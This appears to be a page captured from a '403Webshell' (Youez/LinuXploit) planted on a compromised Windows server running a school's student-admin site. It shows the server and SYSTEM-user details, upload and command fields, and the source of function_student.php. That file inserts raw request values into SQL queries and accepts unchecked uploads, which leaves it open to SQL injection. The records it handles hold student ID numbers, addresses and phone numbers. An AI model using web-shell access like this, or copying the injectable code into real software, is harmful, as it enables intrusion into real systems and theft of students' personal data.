403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.156
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/www/myschool/triamudom/check/webadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/www/myschool/triamudom/check/webadmin/function_student.php
<?php
session_start();
$path = "../";
include ($path.'include/config_db.php');
include ($path.'include/class_db.php'); 
include ($path.'include/class_display.php'); 
include ($path.'include/function.php'); 
include ($path.'include/permission_denied.php'); 
$CLASS['db']   = new db();
$CLASS['db']->connect(); 
$CLASS['disp']   = new display();
$db   = $CLASS['db']; 
$disp   = $CLASS['disp']; 
$date_day = date("Y-m-d").' '.date("H:i:s");  

$action = $_REQUEST['action'];
$tb_student_id = $_REQUEST['tb_student_id'];
$tb_student_code = $_REQUEST['tb_student_code'];
$tb_student_tname = $_REQUEST['tb_student_tname'];
$tb_student_name = $_REQUEST['tb_student_name'];
$tb_student_sname = $_REQUEST['tb_student_sname'];
$tb_student_degree = $_REQUEST['tb_student_degree'];
$tb_student_address = $_REQUEST['tb_student_address'];
$tb_student_phone = $_REQUEST['tb_student_phone'];
$tb_student_picture_me = $_REQUEST['tb_student_picture_me'];
$tb_student_picture = $_FILES['tb_student_picture'];
$tb_student_birthday = $_REQUEST['tb_student_birthday'];
$tb_student_idcard = $_REQUEST['tb_student_idcard'];
$tb_student_blood = $_REQUEST['tb_student_blood'];
$tb_student_myphone = $_REQUEST['tb_student_myphone'];


if($action=='save'){
	$sql_chk = "select * from tb_students where tb_student_code = '".$tb_student_code."' ";
	$result_chk = $db->query($sql_chk);
	$num_chk = $db->num_rows($result_chk);
	if($num_chk <='0'){

	if($tb_student_picture){
		$namefile1 = copyobject($tb_student_picture[size], $tb_student_picture[name], $tb_student_picture[tmp_name], "student_", "../file_student/", "$tb_student_picture_me", "");
	}else{
		$namefile1 = $tb_student_picture_me;
	}	
	
	$query_int = $db->query("INSERT INTO tb_students (tb_student_id, tb_student_code, tb_student_tname, tb_student_name, tb_student_sname, tb_student_degree, tb_student_address, tb_student_phone,tb_student_myphone, tb_student_date, tb_student_status,tb_student_picture,tb_student_birthday,tb_student_blood, tb_student_idcard) VALUES (NULL, '".$tb_student_code."', '".$tb_student_tname."', '".$tb_student_name."', '".$tb_student_sname."', '".$tb_student_degree."', '".$tb_student_address."', '".$tb_student_phone."','".$tb_student_myphone."', '".$date_day."', '1','".$namefile1."','".$tb_student_birthday."','".$tb_student_blood."', '".$tb_student_idcard."')");
	
	print "
	<script language='javascript'>
		window.location.href='display_student.php';
	</script>
	";
	}else{
		print "
	<script language='javascript'>
		alert('Student Code On Database');
		window.location.href='display_student_add.php';
	</script>
	";
	}
}else{

	if($tb_student_picture){
		$namefile1 = copyobject($tb_student_picture[size], $tb_student_picture[name], $tb_student_picture[tmp_name], "student_", "../file_student/", "$tb_student_picture_me", "");
	}else{
		$namefile1 = $tb_student_picture_me;
	}	

	$query_up = $db->query("update tb_students set  tb_student_tname='".$tb_student_tname."', tb_student_name='".$tb_student_name."', tb_student_sname='".$tb_student_sname."', tb_student_degree='".$tb_student_degree."', tb_student_address='".$tb_student_address."', tb_student_phone='".$tb_student_phone."', tb_student_picture='".$namefile1 ."', tb_student_birthday='".$tb_student_birthday."', tb_student_idcard='".$tb_student_idcard."' , tb_student_blood='".$tb_student_blood."', tb_student_myphone='".$tb_student_myphone."' where tb_student_id='".$tb_student_id."' ");
	

?>
	<script language='javascript'>
		window.opener.location.reload()
		window.close();
	</script>
<?php
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit